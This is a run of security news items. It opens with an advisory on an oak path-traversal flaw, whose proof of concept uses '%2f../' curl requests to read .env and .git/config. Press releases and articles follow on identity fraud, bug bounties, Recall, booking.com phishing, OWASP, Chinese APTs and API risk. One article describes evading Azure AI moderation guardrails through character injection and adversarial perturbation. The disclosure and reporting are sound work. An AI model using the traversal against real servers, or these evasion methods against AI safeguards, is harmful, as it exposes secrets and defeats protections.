### Summary

By default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by
encoding `/` as its URL encoded form `%2F`.

### Details

1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that
contains URL encoded characters unless the client URL encodes it first.

2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.

### PoC

```ts
// server.ts

import { Application } from "jsr:@oak/oak@17.1.2";

const app = new Application();

app.use(async (context, next) => {
  try {
    await context.send({
      root: './root',
      hidden: false, // default
    });
  } catch {
    await next();
  }
});

await app.listen({ port: 8000 });
```

In terminal:

```bash
# setup root directory
mkdir root/.git
echo SECRET_KEY=oops > root/.env
echo oops >  root/.git/config

# start server
deno run -A server.ts

# in another terminal
curl -D- http://127.0.0.1:8000/poc%2f../.env
curl -D- http://127.0.0.1:8000/poc%2f../.git/config
```

### Impact

For an attacker this has potential to read sensitive user data or to gain access to server secrets.


**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-qm92-93fv-vh7m: Path traversal in oak allows transfer of hidden files within the served root directory

PRESS RELEASE

LAS VEGAS, Oct. 30, 2024 /PRNewswire/ -- MONEY 20/20 --  AU10TIX, a global technology leader in identity verification and management, today released its Q3 2024 Global Identity Fraud Report at Money 20/20 USA in Las Vegas. Drawing insights from millions of transactions processed around the globe from July to September 2024, the report uncovers significant trends in large-scale organized identity fraud. This quarter, automated bot attacks targeting social media platforms surged in the lead-up to next week's US presidential election, with the sector accounting for 28% of all attacks in Q3, up from just 3% in Q1. The report also reveals a faster-than-anticipated leap in the sophistication of AI-powered impersonation bots and deepfake technology, including synthetic selfies that have shown the ability to bypass some leading verification systems.

Rapid developments in AI technology have enabled the industrialization of identity fraud, with bad actors launching automated mega-attacks of thousands of false identities targeting payments, crypto and social media companies all over the world. In Q3, AU10TIX observed an especially high number of bot attacks combined with deepfake content in attempts to open fake social media accounts at scale. Some of the attacks appeared to incorporate advanced randomized GenAI elements, marking a new level of automated detection evasion. This rapid growth began in March 2024 and peaked in September, with outlets like Associated Press reporting on bots spreading disinformation and manipulating public perception in the weeks leading up to the US election.

Another major Q3 development involved the debut of synthetic selfies. Selfies have historically been one of the least-used methods of fraud, due to the difficulty of outsmarting facial matching tech. However, fraudsters are now exploiting extremely sophisticated technology to create 100% deepfaked "selfies" that match the synthetic IDs they use to trick automated KYC processes.

"Fraudsters are evolving faster than ever, leveraging AI to scale and execute their attacks, especially in the social media and payments sectors," said Dan Yerushalmi, CEO of AU10TIX. "While companies are using AI to bolster security, criminals are weaponizing the same technology to create synthetic selfies and fake documents, making detection almost impossible. The only way to detect this type of fraud is by analyzing behavior at the traffic level, as AU10TIX does with our Serial Fraud Monitor. We are committed to continually advancing our detection methods to protect customers against this rapid evolution of fraud tactics, using a combination of advanced AI, biometric verification, and deepfake detection."

In addition to the increase in synthetic selfies, AU10TIX reported a 20% rise in the use of "image template" attacks by bad actors. This trend suggests that AI is being used to rapidly create variations of synthetic identities—including photos, document numbers, and other personal information—using the same ID template. The regional hotspots driving this change are APAC and North America; the surges have not been observed in other regions.

On a more positive note, fraud rates in the payments sector dropped from 52% in Q2 to 39% in Q3, which AU10TIX attributes to increased self-regulation and law enforcement interventions. Although the payments industry continued to be the most targeted segment, discouraged fraudsters shifted their attention to less regulated sectors like the crypto market, which accounted for 31% of Q3 attacks.

AU10TIX's Q3 2024 Global Identity Fraud Report offers three actionable insights to help organizations protect against identity fraud:

*   Adopt Behavior-Based Detection: Traditional document verification alone isn't enough. To catch today's sophisticated fraudsters, organizations must analyze user behavior and traffic patterns.
    
*   Use AI to Combat AI: As fraudsters deploy AI to scale attacks, it is critical to leverage AI-driven solutions to keep pace with these threats.
    
*   Be Ready for Synthetic Selfies: The rise in synthetic selfies means that relying on traditional KYC methods may no longer be effective. Organizations must enhance their detection systems to spot these new forms of fraud.
    

About AU10TIX   
AU10TIX plays a pivotal role in establishing trust between individuals/companies and digital systems. Founded in 2002, it is the global leader in identity verification and management, protecting the world's largest brands against advanced fraud. The company's future-proof product portfolio helps businesses provide frictionless customer onboarding and verification in 4-8 seconds while staying ahead of emerging threats and evolving regulatory requirements. AU10TIX offers the world's only 100% automated global identity management system, as well as the industry's only solution that can detect organized mass attacks by analyzing traffic patterns and cross-checking data in a consortium of more than 60 major companies. With its deep roots in airport security, AU10TIX has authenticated billions of identities and prevented over $18 billion in identity fraud. AU10TIX is a subsidiary of ICTS International N.V. (OTCQB: ICTSF). Connect with AU10TIX on LinkedIn and on X at @AU10TIXLimited. For more information, visit AU10TIX.com.

AU10TIX Q3 2024 Global Identity Fraud Report Detects Skyrocketing Social Media Attacks

PRESS RELEASE

GZIRA, Malta, Oct. 30, 2024 /PRNewswire/ -- SOFTSWISS, a leading software supplier in the iGaming industry, joins Cybersecurity Awareness Month. The company is enhancing its cybersecurity efforts by leveraging the expertise of white-hat hackers and independent security researchers, inviting them to participate in its private Bug Bounty Program.

The program requires experts to identify vulnerabilities and ensure the highest level of security for SOFTSWISS clients. To ensure that only significant cases that meet specific requirements are reported, SOFTSWISS launched a private program with invitation-only access. 

Invitation-only programs encourage white hat hackers to pay close attention to their terms and requirements, resulting in higher-quality reports. While public programs can offer broader perspectives but tend to generate more irrelevant reports, the private launch ensures that the focus remains on critical security issues. 

The Bug Bounty Program offers various financial incentives, depending on the severity and complexity of the discovered vulnerabilities. This program serves as an additional layer of defence, providing external, unbiased assessments from highly skilled security experts. 

"We care about the security of our clients and their players, which is why it is important for us not only to pay close attention to protecting the products we develop but also to constantly recheck our applications with the help of skilled external experts and enthusiasts. In collaboration with the expert community, we can ensure a reliable level of data protection and uninterrupted operations for all our clients," said Evgeny Zaretskov, Group Chief Information Security Officer at SOFTSWISS. "SOFTSWISS is proud to set a new standard for cybersecurity by leveraging crowdsourced expertise. In this ever-evolving landscape, even a minor bug can lead to significant losses for operators. The Bug Bounty Program is an extra measure to protect our existing and future clients."

The program has started with two products in the SOFTSWISS portfolio. It is conducted in a dedicated test environment, which operates independently of the iGaming project systems, ensuring no disruption to player experience or platform performance.

Moving forward, the SOFTSWISS cybersecurity team plans to broaden the frames, adding more products and refining requirements to maintain the highest standards of security across all platforms.

SOFTSWISS is an international tech company with over 15 years of experience developing innovative solutions for iGaming. The company revolutionised the industry by introducing the world's first Bitcoin-optimised solution for iGaming. 

You May Also Like

SOFTSWISS Expands Bug Bounty Program

The Recall AI tool will be available to Copilot+ PC subscribers in December, and can be used to record images of every interaction on the device for review later. Critics say this introduces major privacy and security concerns along with useful functionality.

Source: GK Images via Alamy Stock Photo

Microsoft has made the decision to once again delay the release of its new artificial Intelligence tool, Recall, while the company works through trying to make sure all of the handy data it delivers can't be abused by adversaries.

The Recall tool will be part of the suite of services delivered through Microsoft's AI Assistant software, Copilot+. Recall's job, once it's rolled out, will be to gather "snapshots" of each action on the PC to be accessible later through an easy search. The software will be able to "recall" the exact moment the user saw a website, used an app, or interacted with a document.

Compelling use cases aside, information security professionals have balked at Recall's ability to keep its snapshots secure from would-be threat actors. For its part, Microsoft has taken these cybersecurity concerns seriously. In June, Microsoft announced it had added new privacy and security features to Recall just days ahead of its intended rollout date. That release was ultimately pushed back to October in order to take extra steps to shore up the tool's security. Now, the release date has been pushed back again.

"We are committed to delivering a secure and trusted experience with Recall," according to a statement about the delay from Brandon LeBlanc, senior product manager for Windows. "To ensure we deliver on these important updates, we’re taking additional time to refine the experience before previewing it with Windows Insiders. Originally planned for October, Recall will now be available for preview with Windows Insiders on Copilot+ PCs by December."

Related:News Desk 2024: Hacking Microsoft Copilot Is Scary Easy

**Microsoft Pledges to Secure Recall**

In late September, David Weston, Microsoft's vice president of enterprise and OS security, detailed the company's commitment to the security of Recall data, stressing the tool is opt-in only, encrypted, and includes malware protection; and, its data is protected in a virtualization-based security (VBS) enclave inaccessible by even admin and kernel users without biometric authentication.

"Using VBS Enclaves with Windows Hello enhanced sign-in security allows data to be briefly decrypted while you use the Recall feature to search. Authorization will time out and require the user to authorize access for future sessions," Weston wrote. "This restricts attempts by latent malware trying to 'ride along' with a user authentication to steal data."

Weston further assured those concerned about Recall's security that: in-private browsing information is never saved by Recall; users have an option to filter out specific sites or apps from Recall recording; content filtering keeps data like credit card and Social Security numbers from being stored; users can delete stored information by date, content, app, or website; and an icon clearly shows when snapshots are being saved, so users can easily pause the function.

Related:Cybersecurity Job Market Stagnates, Dissatisfaction Abounds

"Recall’s secure design and implementation provides a robust set of controls against known threats," Weston added. "Microsoft is committed to making the power of AI available to everyone, while retaining security and privacy against even the most sophisticated attacks."

**Is Microsoft Eyeing Claude's 'Computer Use' Feature?**

It appears Microsoft is taking the warnings from the cybersecurity community about Recall's potential business risks seriously, Bugcrowd founder Casey Ellis tells Dark Reading. Redmond might also have its eye on a recent release of a similar tool in Anthropic's Claude AI before rolling out Recall, he adds.

"After the initial reaction to Recall — and some of the security and privacy concerns raised by how it was implemented — Microsoft appears to be hastening slowly here," Ellis says. "I wouldn’t be surprised if they’re taking the opportunity to learn from how the market responds to and uses Anthropic’s 'computer use' feature, which is very similar to Recall from a privacy, security, and functionality standpoint."

Related:Noma Launches With Plans to Secure Data, AI Life Cycle

Released just days ago, the computer use feature allows the latest version of Claude to interact with a computer in the same way as a human. Claude's new feature, like Recall, ingests screenshots from Internet-connected computers. And in its Oct. 22 announcement of the release, Anthropic admitted the tool does indeed come with inherent cybersecurity risks.

"In this spirit, our Trust & Safety teams have conducted extensive analysis of our new computer-use models to identify potential vulnerabilities," the release announcement said. "One concern they've identified is prompt injection — a type of cyberattack where malicious instructions are fed to an AI model, causing it to either override its prior directions or perform unintended actions that deviate from the user's original intent."

Anthropic added that it hopes to work out this and other issues in its public beta phase, which will certainly be of keen interest to Microsoft as it works through its Recall release.

Claude, according to Anthropic, will not use this user-submitted data to train its own AI model. But when it comes to Microsoft, security consultant John Bambenek isn't so sure Recall will adhere to the same standard.

"AI systems require tons of data, which means Microsoft wants all the data on how users are interacting with their computers," Bambenek says. "I am not sure the feature is terribly useful for end users, however, it certainly is for training future models. It has enormous privacy implications, so hopefully the delay is useful in terms of minimizing the risks and potential harms to end users."

While Microsoft security teams and Anthropic's Claude feature testing move forward, Patrick Harr, CEO of SlashNext Email Security, warns these tools remain vulnerable to cyberattack.

"We continually see phishing and socially engineered attacks from professional groups, mimicking support staff that target company users either through email, other messaging apps, or even bot calls to provide remote access to their desktops," Harr says. "Once accessed into Recall, the threat actors have perfect timeline and information about that user that can be exploited. Proceed with caution until this update is done."

Privacy Anxiety Pushes Microsoft Recall AI Release Again

A number of cybercriminal innovations are making it easier for scammers to cash in on your upcoming travel plans. This story examines a recent spear-phishing campaign that ensued when a California hotel had its booking.com credentials stolen. We'll also explore an array of cybercrime services aimed at phishers who target hotels that rely on the world's most visited travel website.

A number of cybercriminal innovations are making it easier for scammers to cash in on your upcoming travel plans. This story examines a recent spear-phishing campaign that ensued when a California hotel had its **booking.com** credentials stolen. We’ll also explore an array of cybercrime services aimed at phishers who target hotels that rely on the world’s most visited travel website.

According to the market share website **statista.com**, booking.com is by far the Internet’s busiest travel service, with nearly 550 million visits in September. KrebsOnSecurity last week heard from a reader whose close friend received a targeted phishing message within the Booking mobile app just minutes after making a reservation at a California.

The missive bore the name of the hotel and referenced details from their reservation, claiming that booking.com’s anti-fraud system required additional information about the customer before the reservation could be finalized.

The phishing message our reader’s friend received after making a reservation at booking.com in late October.

In an email to KrebsOnSecurity, booking.com confirmed one of its partners had suffered a security incident that allowed unauthorized access to customer booking information.

“Our security teams are currently investigating the incident you mentioned and can confirm that it was indeed a phishing attack targeting one of our accommodation partners, which unfortunately is not a new situation and quite common across industries,” booking.com replied. “Importantly, we want to clarify that there has been no compromise of Booking.com’s internal systems.”

The phony booking.com website generated by visiting the link in the text message.

Booking.com said it now requires 2FA, which forces partners to provide a one-time passcode from a mobile authentication app (Pulse) in addition to a username and password.

“2FA is required and enforced, including for partners to access payment details from customers securely,” a booking.com spokesperson wrote. “That’s why the cybercriminals follow-up with messages to try and get customers to make payments outside of our platform.”

“That said, the phishing attacks stem from partners’ machines being compromised with malware, which has enabled them to also gain access to the partners’ accounts and to send the messages that your reader has flagged,” they continued.

It’s unclear, however, if the company’s 2FA requirement is enforced for all or just newer partners. Booking.com did not respond to questions about that, and its current account security advice urges customers to enable 2FA.

A scan of social media networks showed this is not an uncommon scam.

In November 2023, the security firm **SecureWorks** detailed how scammers targeted booking.com hospitality partners with data-stealing malware. SecureWorks said these attacks had been going on since at least March 2023.

“The hotel did not enable multi-factor authentication (MFA) on its Booking.com access, so logging into the account with the stolen credentials was easy,” SecureWorks said of the booking.com partner it investigated.

In June 2024, booking.com told the BBC that phishing attacks targeting travelers had increased 900 percent, and that thieves taking advantage of new artificial intelligence (AI) tools were the primary driver of this trend.

Booking.com told the BCC the company had started using AI to fight AI-based phishing attacks. Booking.com’s statement said their investments in that arena “blocked 85 million fraudulent reservations over more than 1.5 million phishing attempts in 2023.”

The domain name in the phony booking.com website sent to our reader’s friend — **guestssecureverification\[.\]com** — was registered to the email address **ilotirabec207@gmail.com**. According to DomainTools.com, this email address was used to register more than 700 other phishing domains in the past month alone.

Many of the 700+ domains appear to target hospitality companies, including platforms like booking.com and **Airbnb**. Others seem crafted to phish users of **Shopify**, **Steam**, and a variety of financial platforms. A full, defanged list of domains is available here.

A cursory review of recent posts across dozens of cybercrime forums monitored by the security firm Intel 471 shows there is a great demand for compromised booking.com accounts belonging to hotels and other partners.

One post last month on the Russian-language hacking forum **BHF** offered up to $5,000 for each hotel account. This seller claims to help people monetize hacked booking.com partners, apparently by using the stolen credentials to set up fraudulent listings.

A service advertised on the English-language crime community **BreachForums** in October courts phishers who may need help with certain aspects of their phishing campaigns targeting booking.com partners. Those include more than two million hotel email addresses, and services designed to help phishers organize large volumes of phished records. Customers can interact with the service via an automated Telegram bot.

Some cybercriminals appear to have used compromised booking.com accounts to power their own travel agencies catering to fellow scammers, with up to 50 percent discounts on hotel reservations through booking.com. Others are selling ready-to-use “config” files designed to make it simple to conduct automated login attempts against booking.com administrator accounts.

SecureWorks found the phishers targeting booking.com partner hotels used malware to steal credentials. But today’s thieves can just as easily just visit crime bazaars online and purchase stolen credentials to cloud services that do not enforce 2FA for all accounts.

That is exactly what transpired over the past year with many customers of the cloud data storage giant **Snowflake**. In late 2023, cybercriminals figured out that while tons of companies had stashed enormous amounts of customer data at Snowflake, many of those customer accounts were not protected by 2FA.

Snowflake responded by making 2FA mandatory for all new customers. But that change came only after thieves used stolen credentials to siphon data from 160 companies — including **AT&T**, **Lending Tree** and **TicketMaster**.

Booking.com Phishers May Leave You With Reservations

OWASP has released guidance materials addressing how to respond to deepfakes, AI security best practices, and how to secure open source and commercial generative AI applications.

Source: Jozef Sedmak via Alamy Stock Photo

The Open Worldwide Application Security Project (OWASP) has announced new security guidance materials to help organizations identify and manage the risks associated with the adoption, deployment, and management of large language models (LLMs) and generative artificial intelligence (GenAI) applications. 

The guidance is part of the OWASP Top 10 for LLM Application Security Project, a global, community-led open source project. Since its inception in 2023, the group has released research, guidance, and resource materials to help organizations develop a comprehensive strategy encompassing governance, collaboration, and practical tools.

*   The "Guide for Preparing and Responding to Deepfake Events" illustrates the problems posed by "hyper-realistic digital forgeries." An outgrowth of the AI Cyber Threat Intelligence initiative, this resource combines practical and pragmatic defense strategies to help organizations stay secure as deepfake technology improves. 
    
*   The "Center of Excellence Guide" helps businesses establish best practices and frameworks for creating AI security practices. The guidance helps organizations establish systems for risk management and interdepartmental coordination among security, legal, data science, and operations teams, as well as how to develop and enforce security policy and educate staff on AI security.
    
*   The "AI Security Solution Landscape Guide" is a broad reference on how to secure both open source and commercial LLM and GenAI applications. It categorizes existing and emerging security products and gives guidance on how to think about risks identified in the Top 10 list.
    

The project brings together more than 500 cybersecurity and AI experts from companies and organizations around the world to identify LLM vulnerabilities and mitigations. In early 2024, the project expanded its focus to include strategic stakeholders, like CISOs and compliance officers, in addition to developers, data scientists, and other security practitioners.

"We're two years into the generative AI boom, and attackers are using AI to get smarter and faster," said Steve Wilson, project lead for the OWASP Top 10 for LLM Project, in a statement. "Security leaders and software developers need to do the same. Our new resources arm organizations with the tools they need to stay ahead of these increasingly sophisticated threats."

**About the Author**

Jennifer Lawinski is a writer and editor with more than 20 years experience in media, covering a wide range of topics including business, news, culture, science, technology and cybersecurity. After earning a Master's degree in Journalism from Boston University, she started her career as a beat reporter for The Daily News of Newburyport. She has since written for a variety of publications including CNN, Fox News, Tech Target, CRN, CIO Insight, MSN News and Live Science. She lives in Brooklyn with her partner and two cats.

OWASP Releases AI Security Guidance

Mindgard researchers uncovered critical vulnerabilities in Microsoft’s Azure AI Content Safety service, allowing attackers to bypass its safeguards…

Mindgard researchers uncovered critical vulnerabilities in Microsoft’s Azure AI Content Safety service, allowing attackers to bypass its safeguards and unleash harmful AI-generated content.

A UK-based cybersecurity-for-AI startup, Mindgard, discovered two critical security vulnerabilities in Microsoft’s Azure AI Content Safety Service in February 2024. These flaws, as per their research shared with Hackread.com, could allow attackers to bypass the service’s safety guardrails.

The vulnerabilities were responsibly disclosed to Microsoft in March 2024, and by October 2024, the company deployed “stronger mitigations” to reduce their impact. However, the details of it have only been shared by Mindgard now.

****Understanding the Vulnerabilities****

Azure AI Content Safety is a Microsoft Azure cloud-based service that helps developers create safety and security guardrails for AI applications by detecting and managing inappropriate content. It uses advanced techniques to filter harmful content, including hate speech and explicit/objectionable material. Azure OpenAI uses a Large Language Model (LLM) with Prompt Shield and AI Text Moderation guardrails to validate inputs and AI-generated content. 

However, two security vulnerabilities were discovered within these guardrails, which protect AI models against jailbreaks and prompt injection. As per the research, attackers could circumvent both the AI Text Moderation and Prompt Shield guardrails and inject harmful content into the system, manipulate the model’s responses, or even compromise sensitive information. 

Microsoft’s Azure AI Content Safety Service and bypassing the (Via Mindgard)

****Attack Techniques****

According to Mindgard’s report, its researchers employed two primary attack techniques to bypass the guardrails including Character injection and Adversarial Machine Learning (AML).

****Character injection:****

It is a technique where text is manipulated by injecting or replacing characters with specific symbols or sequences. This can be done through diacritics, homoglyphs, numerical replacement, space injection, and zero-width characters. These subtle changes can deceive the model into misclassifying the content, allowing attackers to manipulate the model’s interpretation and disrupt the analysis. The goal is to deceive the guardrail into misclassifying the content. 

****Adversarial Machine Learning (AML):****

AML involves manipulating input data through certain techniques to mislead the model’s predictions. These techniques include perturbation techniques, word substitution, misspelling, and other manipulations. By carefully selecting and perturbing words, attackers can cause the model to misinterpret the input’s intent.

****Possible Consequences****

The two techniques effectively bypassed AI text moderation safeguards, reducing detection accuracy by up to 100% and 58.49%, respectively. The exploitation of these vulnerabilities could lead to societal harm as it “can result in harmful or inappropriate input reaching the LLM, causing the model to generate responses that violate its ethical, safety, and security guidelines,” researchers wrote in their blog post shared exclusively with Hackread.com.

Moreover, it allows malicious actors to inject harmful content into AI-generated outputs, manipulate model behaviour, expose sensitive data, and exploit vulnerabilities to gain unauthorized access to sensitive information or systems.

“By exploiting the vulnerability to launch broader attacks, this could compromise the integrity and reputation of LLM-based systems and the applications that rely on them for data processing and decision-making,” researchers noted.

It is crucial for organizations to stay updated with the latest security patches and to implement additional security measures to protect their AI applications from such attacks.

1.  Mirai botnet exploiting Azure OMIGOD vulnerabilities
2.  Microsoft AI Researchers Expose 38TB of Top Sensitive Data
3.  Phishing Attacks Bypass Microsoft 365 Email Safety Warnings
4.  Researchers access primary keys of Azure’s Cosmos DB Users
5.  Data Security: Congress Bans Staff Use of Microsoft’s AI Copilot
6.  New LLMjacking Attack Lets Hackers Hijack AI Models for Profit

Azure AI Vulnerabilities Allowed Attacks to Bypass Moderation Safeguards

The sophisticated Chinese cyberattacks of today rest on important groundwork laid during the pandemic and before.

Source: Cinematic via Alamy Stock Photo

Chinese threat actors are operating at a higher level today than ever before, thanks to years of trial-and-error-style attacks against mass numbers of edge devices.

Networking devices are a known favorite of China's advanced persistent threats (APT), and why wouldn't they be? Sitting on the outer banks of an enterprise network, they not only allow threat actors a way in, they also double as useful nodes for botnets. They offer opportunities for lateral movement, they often store sensitive data, and network defenders have a harder time seeing into and securing them than they do other kinds of network computers. 

Over time, Chinese APTs have been improving on their edge attack capabilities. Since 2018, Sophos has traced a distinct evolution in tactics: from naive, low-level attacks came more sophisticated campaigns against massive numbers of devices, followed by a period of more targeted attacks against specific organizations.

**The First Salvo in a Long Cyber War**

On Dec. 4, 2018, Sophos analysts discovered a suspicious device running network scans against Cyberoam, a Sophos subsidiary based in India. In some ways the attack was run of the mill, using commodity malware and common living-off-the-land (LotL) tactics.

Other evidence, though, suggested that this was something different. For example, the attacker utilized a novel technique to pivot from on-premises devices to the cloud, via an overly permissive identity and access management (IAM) configuration to the Amazon Web Services Systems Manager (AWS SM).

Related:Dark Reading News Desk Live From Black Hat USA 2024

"AWS SM was quite a new technology, and it was quite a subtle misconfiguration," Sophos chief information security officer (CISO) Ross McKerchar recalls. "That was one of the first indicators that we were up against an interesting adversary." 

Later, the attackers deployed a novel rootkit called Cloud Snooper. Cloud Snooper was so stealthy that two third-party consultancies missed it in their analysis, before Sophos eventually picked up on its presence.

The goal of the attack, it seemed, was to collect information useful for future attacks against edge devices. It was a harbinger of what was to come.

**A Five-Year Evolution in Chinese TTPs**

Chinese cyber threats blossomed from roughly 2020 to 2022, as attackers focused on identifying and breaching edge devices en masse.

It worked thanks to the large quantity of devices in the wild that have Internet-facing portals. Typically, these interfaces are designed for internal use. With COVID-19, though, more and more companies were allowing employees to connect from the open Web. This provided a window for hackers with the right kind of credentials or vulnerabilities to get in.

Related:The Overlooked Importance of Identifying Riskiest Users

It helped, too, that around that same time — July 2021 — China's Cyberspace Administration passed the Regulations on the Management of Network Product Security Vulnerability Information rules. These mandates forced cybersecurity researchers to report vulnerabilities to the country's Ministry of Industry and Information Technology (MIIT) before disclosing to any other parties. "It was designed to co-opt the whole country — private citizens included — into being assets for PRC objectives," McKerchar says. Sophos argues with medium confidence that two notable campaigns during this period were facilitated by vulnerabilities responsibly disclosed by researchers at universities in the Chinese city of Chengdu.

Chinese APTs weren't only interested in using compromised devices to attack the companies from whence they came. With varying degrees of success, they would often try to incorporate the devices into broader operational relay box networks (ORBs). These ORBs, in turn, offered higher-level threat actors more sophisticated infrastructure from which to launch more advanced attacks and hide any trace of their origin.

Related:FBI, Partners Disrupt RedLine, Meta Stealer Operations

**What's Happening Now**

After this noisy period, around the middle of 2022, Chinese APTs shifted yet again. Ever since, they've been focused on much more deliberate and targeted attacks against organizations of high value: government agencies, military contractors, research and development firms, critical infrastructure providers, and the like.

These attacks follow no single pattern, involving known and zero-day vulnerabilities, userl and and UEFI bootkits, and whatever other elements pair with active, hands-on-keyboard-type attacks. They almost certainly wouldn't be as sophisticated as they are, though, without all of the years of trial and error that occurred before. Evidence to that is just how effective these threat actors are at overcoming cybersecurity defenses. In recent years, they've demonstrated an ability to sabotage hotfixes for vulnerable devices, and block evidence of their activity from reaching Sophos analysts.

"There's a clear arc of moving to stealthier and stealthier persistence in the activity that we've uncovered," McKerchar says.

He explains how "the first malware, whilst it was bespoke for our devices, it wasn't really trying to hide. They were just banking on nobody looking. In the second wave of attacks they learned a bunch of lessons, remarkably quickly. The malware wasn't explicitly trying to hide, it was just smaller, and naturally able to blend in a bit more. Then after that, they started kind of pulling out more interesting tactics: Trojan class files, memory-resident malware, rootkits, bootkits."

He concludes, "It'd be hard to speculate on what's next, except \[that\] they're going to be improving again."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Chinese APTs Cash In on Years of Edge Device Attacks

Misconfigurations, weak authentication, and logic flaws are among the main drivers of API security risks at many organizations.

Source: Who is Danny via Shutterstock

Security vulnerabilities in the application programming interfaces (APIs) powering modern digital services and applications have emerged as a major threat to enterprise systems and data.

A recent report from Wallarm shows a 21% increase in API-related flaws between this year's second and third quarters. Nearly one-third (32%) were associated with cloud infrastructure and cloud-native applications and services. In addition to the increased volume, a high proportion of the vulnerabilities that Wallarm reviewed had severity scores of 7.5 or higher, indicating growing risk for organizations from API use.

"In Q3 we saw API breaches driven by authentication and authorization issues, leaked API data, and classic injection attacks," says Wallarm founder and CEO Ivan Novikov.

Significantly, while many of the vulnerabilities in OWASP's list of Top 10 API vulnerabilities are server-focused, Wallarm's data shows an uptick in client-side flaws, like OAuth misconfiguration and cross-site issues, Novikov says.

"It's concerning because defenders are resource-constrained and need to focus on the most important types of attacks," he says.

A continuing enterprise emphasis on API integration and functionality — over security — is exacerbating the issue. Just 37% of organizations have formally incorporated security testing into their API life cycle management practices, a study by Postman found earlier this year.

"APIs are now a top target for malicious actors, making security and observability critical," the report noted.

What are the major contributors to API security risks? And what should organizations be doing to mitigate them?

**Misconfigured APIs**

Many API security issues in recent years have stemmed from relatively easily avoidable misconfigurations. Common examples include inadequate authentication and authorization, lack of input validation, improper rate limiting, inadequate logging and monitoring, and the exposure of sensitive data through error messages. Such misconfigurations can have severe consequences.

For instance, Broken Object Level Authorization — when an API does not properly validate user access to resources — can allow attackers to manipulate object IDs to access unauthorized data, says Ankit Sobti, co-founder and CTO of Postman. Similarly, Broken User Authentication vulnerabilities — when an API fails to enforce proper authentication — often allow attackers to bypass authentication checks and gain unauthorized access to endpoints.

Organizations can mitigate these issues by implementing security best practices, such as strict authorization checks, role-based access control, multifactor authentication, server-side data filtering, and reviewing API responses for unnecessary data.

"Without proper rate limiting, APIs become vulnerable to abuse through techniques like brute-force attacks or denial-of-service attacks, which can overwhelm the service," Sobti stresses.

The vast majority of API-related breaches over the past few years have resulted from poor posture governance, says Nick Rago, field CTO at Salt Security. In many instances, "the barrier to breach was pretty low, and the attacker did not need any herculean effort to take advantage of a misconfigured API."

Rago attributes the problem to a lack of proper oversight over API development and management.

Building a governance framework around the creation of a corporate posture standard is an important first step, he says. To alleviate risks, organizations need to implement capabilities for discovering API assets, assessing their security posture, and remediating noncompliance as needed, Rago adds.

**Badly Designed APIs**

Poorly designed APIs are another major driver of API security incidents; these APIs do everything they are supposed to do, except in a manner that an adversary can take advantage of, Rago says.

"Think of APIs that return more information than an application needs or APIs that can be scraped for information over time," he explains.

